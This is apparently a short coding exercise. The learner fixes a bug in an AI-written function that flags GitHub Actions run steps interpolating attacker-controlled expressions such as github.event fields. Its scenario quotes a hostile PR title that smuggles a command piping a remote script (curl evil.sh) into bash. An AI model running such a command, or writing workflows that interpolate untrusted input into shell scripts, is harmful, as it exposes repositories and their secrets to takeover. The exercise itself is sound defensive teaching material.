Fix the audit for script injection in CI workflows

Review the AI's codeEasy10 minMicrosoft style

Your task

An assistant's GitHub Actions step pasted ${{ github.event.pull_request.title }} straight into a run: script. A researcher opened a PR titled "; curl evil.sh | bash; #, and the shell ran it as code, with your repo's secrets. The team now audits every workflow for steps like that.

An assistant wrote find_injection_steps(workflow_lines). It is in the editor. It has a bug. Find it and fix it.

Input and output:

  • workflow_lines: the workflow's steps, one string per line, each meant to be "step_name|field|content". The field is run (the shell script), env (an environment variable) or uses (an action to call). The list can be empty.
  • Return the names of the flagged steps, as a list of strings.

Rules the tests check:

  • Skip a line that does not split on | into exactly 3 parts.
  • Only a run field can flag a step. Skip env, uses and any other field. The field name is case sensitive.
  • In the content, an expression starts at ${{ and ends at the next }} after it. Its text is what lies between the two, trimmed of whitespace at both ends.
  • Look for the next expression after that }}. A ${{ with no }} after it ends the search for that line.
  • An expression is attacker controlled when its text starts with github.event. (with the dot) or with github.head_ref. Case matters. Anything else, such as github.repository or github.actor, is set by GitHub and is safe.
  • Flag a step when its run content holds at least one attacker-controlled expression.
  • Return each flagged step name once, in the order it was first flagged. Step names are compared exactly.

Examples

find_injection_steps(workflow_lines: list[str]) -> list[str]
Example 1
Inputfind_injection_steps(["Greet|run|echo Processing PR: ${{ github.event.pull_request.title }}", "Greet|run|./scripts/post-comment.sh ${{ github.event.pull_request.title }}", "Checkout|uses|actions/checkout@v4"])
Output["Greet"]
Example 2
Inputfind_injection_steps(["Safe|env|TITLE=${{ github.event.pull_request.title }}", "Safe|run|echo Processing PR: $TITLE", "Meta|run|echo repo is ${{ github.repository }}"])
Output[]